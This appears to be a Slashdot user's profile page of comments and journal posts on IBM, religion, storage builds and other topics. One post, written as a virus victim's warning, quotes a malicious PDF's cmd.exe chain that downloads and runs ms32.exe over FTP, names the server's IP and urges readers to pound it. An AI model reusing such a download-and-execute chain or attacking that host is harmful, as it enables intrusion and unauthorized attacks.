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L.A. Science Teacher Suspended Over Student Science Fair Projects

hoggoth Re:Sick Society (250 comments)

I hope you don't work as an English teacher.

2 days ago
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How 'DevOps' Is Killing the Developer

hoggoth Re:whine (226 comments)

> dev needs the loosest reins (while still keeping separation so that the loosened policies don't allow for a security breach to compromise other departments.)

Oh thank you, thank you, for using 'loose' instead of 'lose'. I think I cried a little.

5 days ago
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Isolated Tribes Die Shortly After We Meet Them

hoggoth Re:Sad, and not black and white either (351 comments)

The irony is you feel compelled to inject useless noise into the conversation on the very same topic your signature asks us not to complain about.
Bait taken.

about two weeks ago
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Isolated Tribes Die Shortly After We Meet Them

hoggoth Re:Sad, and not black and white either (351 comments)

Yes, actually I did. I pointed out that he could get off the canoe right there and live in a hut and it wouldn't cost him a dime. His savings would most likely be enough to pay for whatever logistics he needed (plane tickets to visit home once a year, food, some clothes, etc). But he would be giving up the "normal" life he was used to. He thought about it for a moment and said he really wants to retire "in style" and not in a hut, and that he would have to "work his ass off" for a few more years to do that. At least he acknowledged what his priorities and trade-offs are.

about two weeks ago
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Isolated Tribes Die Shortly After We Meet Them

hoggoth Re:Sad, and not black and white either (351 comments)

I was on vacation on a remote island in Fiji, taking a canoe ride with some other American tourists. A man in his 50's sighed and said 'I hope I can afford to live like this one day'. The irony was totally lost on him that the people who's life he was jealous of woke up in their huts, had a little food, then played soccer and fished all day without owning a single penny.

about two weeks ago
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Isolated Tribes Die Shortly After We Meet Them

hoggoth Re:"smallpox OR guns OR other unknown diseases" (351 comments)

"Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo"

( City of Buffalo bison that other city of Buffalo bison bully, themselves bully city of Buffalo bison)

about two weeks ago
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How the Internet Is Taking Away America's Religion

hoggoth pun intended (1037 comments)

> "Using the Internet can destroy your faith.

Oh God I hope so.

about two weeks ago
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Researchers: Rats Didn't Spread Black Death, Humans Did

hoggoth Re:Old News (135 comments)

> the numbers of rats you'll find in places like .

I think this is the first time I've seen Unix "." used to mean "the current location" in the common English sense of the phrase. Kudos to you, sir! Now I will go ~ and smoke my |

about three weeks ago
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Ask Slashdot: Re-Learning How To Interview As a Developer?

hoggoth Re:Loner syndrome (218 comments)

>I suggest thinking vapid and friendly, like a labrador retriever, when you go into a job interview.

"Yes, I can write threaded code involving.... SQUIRREL!"

about a month ago
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Time Dilation Drug Could Let Heinous Criminals Serve 1,000 Year Sentences

hoggoth Re:Alternative (914 comments)

What a ridiculous idea. What condition do you think the convict will be in after 30 years equivalent of solitary confinement in a sensory deprivation tank? They will be completely psychotic

Guard: "Here's your cell phone and wallet, you are free. go enjoy life"
Prisoner: drool...drool...drool... whimper...

about a month ago
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Time Dilation Drug Could Let Heinous Criminals Serve 1,000 Year Sentences

hoggoth Why? (914 comments)

Why would we do this?

What does anyone gain by making the convict experience 1,000 years of mental torture? It doesn't improve the victim's life. It doesn't stop others from committing crimes. It doesn't do anything productive or helpful. It is just torture for the sake of revenge. It is stupid and sadistic.

about a month ago
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Religion Is Good For Your Brain

hoggoth Re:"Religious Activities" not Religion per se (529 comments)

Organized religion is a package of beliefs and behaviors that have been honed over tens of thousands of years to provide people with things they need both psychologically and socially. Until recently religious behavior couldn't really have been separated from the rest of tradition and society. It was one "package". Having all of these things wrapped up in one package makes it easier to teach and train people to follow good ideas, like "don't eat food that spoils quickly" and "don't spread STDs with promiscuous sex". Now that we have better understand of which behaviors are helpful we may not need all of the extra baggage that traditionally came with religion. But where is the new "package" of useful behaviors to replace the old ones? Often if you discard religious tradition you also discard good guidelines for living, and instead rely on random trends or worse profit-motive marketing for your guidelines.

I suspect religious people will get angry at this line of reasoning, thinking I am missing the entire "point" of religion. From one point of view I am discounting the whole purpose of their religion. But regardless of the supernatural truths of the universe, it is certainly true that religions carry a great deal of traditions and guidelines for living beyond the purely spiritual.

about a month ago
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Religion Is Good For Your Brain

hoggoth Re:Religion... (529 comments)

But, as someone who was not indoctrinated in religion when I was young and impressionable, how do I determine which of the following ideas to believe and follow:

1) Organized religion
2) Unicorns
3) Astrology

From my point of view these all share equal likelihood of being true, have equally convincing evidence, and all have proponents. Not being totally facetious here, from inside the "group" this may seem obvious to you, but from outside it doesn't. Why Jesus? Why not Buddha? Why not Zeus? Why not Wicca? Why not Xenu? And if I decide all but one of these ideas are poppycock, then how does one of them stand the same test of scrutiny?

about a month ago
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Ask Slashdot: What's New In Legacy Languages?

hoggoth Re:PHP? (hope hope hope) (247 comments)

I dup programming-language Forth loved! anything with-it could-do.

about a month and a half ago
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AMC Theaters Allegedly Calls FBI to Interrogate a Google Glass Wearer

hoggoth Re:Planned intimidation tactic (1034 comments)

No, if alcohol were prohibited it would not be "like" prohibition. It would be prohibition. That is what prohibition is.

about 3 months ago
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Man Shot To Death For Texting During Movie

hoggoth Guilty or not? The argument. (1431 comments)

Slashdot: All right, Did the shooter commit murder? The battle of wits has begun.
Me: But it's so simple. Someone shot someone else to death over an argument. So clearly he will fry for this!
Slashdot: You've made your decision, then?
Me: Not remotely. The shooter is a cop, so as a general rule he will be declared innocent and 'just doing what is right'.
Slashdot: Truly you have a dizzying intellect.
Me: Wait till I get going! Now, where was I?
Slashdot: A Cop.
Me: Yes, a cop. But he is an EX copy, so clearly he will be found guilty.
Slashdot: You're just stalling now.
Me: You'd like to think that, wouldn't you? He is an ex-cop, but this is FLORIDA. As everyone knows, Florida is entirely peopled with criminals, and criminals are used to having people shoot each other in the movie theater, so clearly he will get off.
Slashdot: You're trying to trick me into giving away something. It won't work.
Me: IT HAS WORKED! YOU'VE GIVEN EVERYTHING AWAY! I KNOW WHAT THE VERDICT IS!
Slashdot: Then make your choice.
Me: I will, and I choose - Look! Miley Rae Cyrus is twerking!

about 3 months ago
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IBM Dumping $1 Billion Into New Watson Group

hoggoth Re:Just wait till it hits YOUR discipline (182 comments)

> "THAT IS TOO MUCH VERMOUTH."

In time, you will come to regard me not only with respect and awe, but with love.

about 3 months ago
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IBM Dumping $1 Billion Into New Watson Group

hoggoth Re:Just wait till it hits YOUR discipline (182 comments)

> I think government should install a law that says that once strong AI is achieved by some company, the technology will belong to the people.

Ha ha ha ha. You're funny.

> government
I don't think that word means what you think it means.

about 3 months ago

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IBM may outsource 3/4 of it's permanent workforce

hoggoth hoggoth writes  |  more than 3 years ago

hoggoth (414195) writes "MISH'S Global Economic Trend Analysis blog has an article up about IBM "crowdsourcing" away 3/4 of their workforce. The deal sounds something like this: "Employee, you will be doing the same work for us, except you won't be an employee, when it's slow in between projects you won't get paid, you won't get a pension, and you won't get health benefits." Being in I.T. just keeps getting better."
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Corporation runs for congress

hoggoth hoggoth writes  |  more than 4 years ago

hoggoth (414195) writes ""Following the recent Supreme Court ruling in Citizens United v. Federal Election Commission to allow unlimited corporate funding of federal campaigns, Murray Hill Inc. today announced it was filing to run for U.S. Congress".
This can't be a good thing."

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PDF virus targets Acrobat READER

hoggoth hoggoth writes  |  more than 6 years ago

hoggoth (414195) writes "The recent outbreak of the 'Peachy' virus showed that PDFs can carry dangerous content. All of the news outlets are repeating Adobe's statement that only the full Acrobat suite can activate the virus, that the free Acrobat Reader is immune. However as a victim of a PDF carried virus I can tell you it's not true. This morning I got an email from a financial services firm I have an account with to an email address I set up just for that financial services firm. This led me to stupidly trust the email that contained a PDF attachment. When I clicked on it a window popped up and went away; very suspicious behavior. So I looked closer at the PDF file and found that it contained a mailto: that put some DOS commandline instructions in a file and executed them, which contacted a server, downloaded an executable, and ran it. The meat of the offending part is this: 14 0 obj7&@echo binary>>7&@echo get /ms32.exe>>7&@echo quit>>7&@ftp -s:7 -v -A>nul&@del /q 7&@start ms32.exe&\" \"&\" "con.cmd)/S/URI>> This calls cmd.exe with a long command that turns off your firewall, FTP's into the offending site, downloads a rogue version of ms32.exe, and runs it. The virus installed a number of files to my computer and modified the startup to run them. I *think* I got rid of it all, although one can never be sure today with rootkits and all. I googled all over, and I think this is 'breaking news'. Every outlet is still saying Acrobat Reader is safe. Entities to Hate: The virus server at 203.121.69.116 Financial services institutions that sell your private email address to marketers. Adobe for allowing PDFs to execute cmd.com. Adobe for lying about Acrobat Reader being safe. Microsoft for their entire insecure operating system. Come on, outside data is allowed to run and TURN OFF THE FIREWALL?! Please feel free to pound that FTP server's IP address with all the hate you can muster."
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hoggoth hoggoth writes  |  more than 6 years ago

hoggoth (414195) writes "As a common everyman who needs big fast reliable storage without a big budget, I have been following a number of emerging technologies and I think they have finally become usable in combination. Specifically, it appears to me that I can put together the little brother of a $50,000 NAS/SAN solution for under $3,000. Here's how:

Get a CoolerMaster Stacker enclosure like this one (just the hardware not the software) that can hold up to 12 SATA drives. Install OpenSolaris and create ZFS pools with RAID-Z for redundancy. Export some pools with Samba for use as a NAS. Export some pools with iSCSI for use as a SAN. Run it over Gigabit Ethernet. Fast, secure, reliable, easy to administer, and cheap. Usable from Windows, Mac, and Linux. As a bonus ZFS let's me create daily or hourly snapshots at almost no cost in disk space or time.

Total cost: 1.4 Terabytes: $2,000. 7.7 Terabytes: $4,200 (Just the cost of the enclosure and the drives). That's an order of magnitude less expensive than other solutions.

Add redundant power supplies, NIC cards, SATA cards, etc as your needs require..

So storage experts, tell me why this is or isn't feasible!."

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